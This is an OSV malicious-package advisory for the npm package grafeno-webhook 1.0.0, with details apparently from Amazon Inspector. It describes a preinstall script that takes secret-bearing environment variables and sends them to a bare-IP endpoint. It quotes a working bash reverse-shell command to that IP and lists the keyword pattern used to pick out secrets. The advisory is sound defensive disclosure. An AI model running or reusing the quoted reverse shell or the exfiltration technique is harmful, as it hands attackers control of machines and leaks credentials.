grafeno-webhook

{"modified":"2026-08-29T23:11:06Z","published":"2026-08-29T23:11:06Z","schema_version":"1.7.4","id":"MAL-2026-15573","summary":"Malicious code in grafeno-webhook (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36)\nThe preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.\n","affected":[{"package":{"ecosystem":"npm","name":"grafeno-webhook"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"fe97adda118f1a4cd3ca1ac5523814e2db5ee22676fc56e212310039939dde24","tlsh":"51f0ddb551a971b4996289d0e292c477a1fbd2123521fad09a9800ba4e9225048f35ea"}],"package_integrity":[{"filename":"grafeno-webhook-1.0.0.tgz","hashes":{"sha1":"695054c59732e2164cbc49da3b08589767736079","sha512_sri":"sha512-rdVmcmbHwyUZNeW5dUm2EsAMocRXEoVzKXFfcYNpULopY8LbsxWjzaT3hOxMEccdu48xZ27srAhCE1+Xv9ibrQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-webhook/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019152","import_time":"2026-08-29T23:14:43.842948635Z","modified_time":"2026-08-29T23:11:06Z","sha256":"79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36","source":"amazon-inspector","versions":["1.0.0"]}]}}